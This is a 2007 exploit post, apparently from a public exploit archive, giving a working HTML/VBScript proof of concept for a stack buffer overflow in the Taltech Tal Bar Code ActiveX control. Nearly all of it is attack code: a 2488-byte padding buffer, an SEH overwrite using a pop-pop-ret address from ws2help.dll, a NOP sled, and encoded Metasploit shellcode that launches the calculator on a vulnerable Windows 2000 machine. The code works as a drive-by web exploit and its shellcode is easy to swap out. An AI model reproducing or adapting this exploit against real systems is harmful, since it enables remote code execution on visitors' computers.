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taltech-overflow.txt

Posted on 10 May 2007

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Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit
By Umesh Wanve
==============================================================================================

Date : 08-05-2007

Reference: http://www.securityfocus.com/archive/1/467822/30/0/threaded

Tested on Windows 2000 SP4 Server English
Windows 2000 SP4 Professional English

Opens Calculator on the Vulnerable machine.

PS. This was written for educational purpose. Use it at your own risk.Author will be not be
responsible for any damage.

Always thanks to Metasploit and Stroke

-->

<html>

<title>
Taltech Tal Bar Code ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:C917E12F-9757-11D2-85DB-F01851C10000" > </OBJECT>

<script language="vbscript">

targetFile = "C:Program FilesTAL Bar Code ActiveX DemoTALBarCd.OCX"
prototype  = "Sub SaveBarCode ( ByVal FileName As String )"
memberName = "SaveBarCode"
progid     = "TALBarCode.TALBarCd"
argCount   = 1

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")



arg1=String(2488,"A")

arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop


target.SaveBarCode arg1


</script>
</body>
</html>

 

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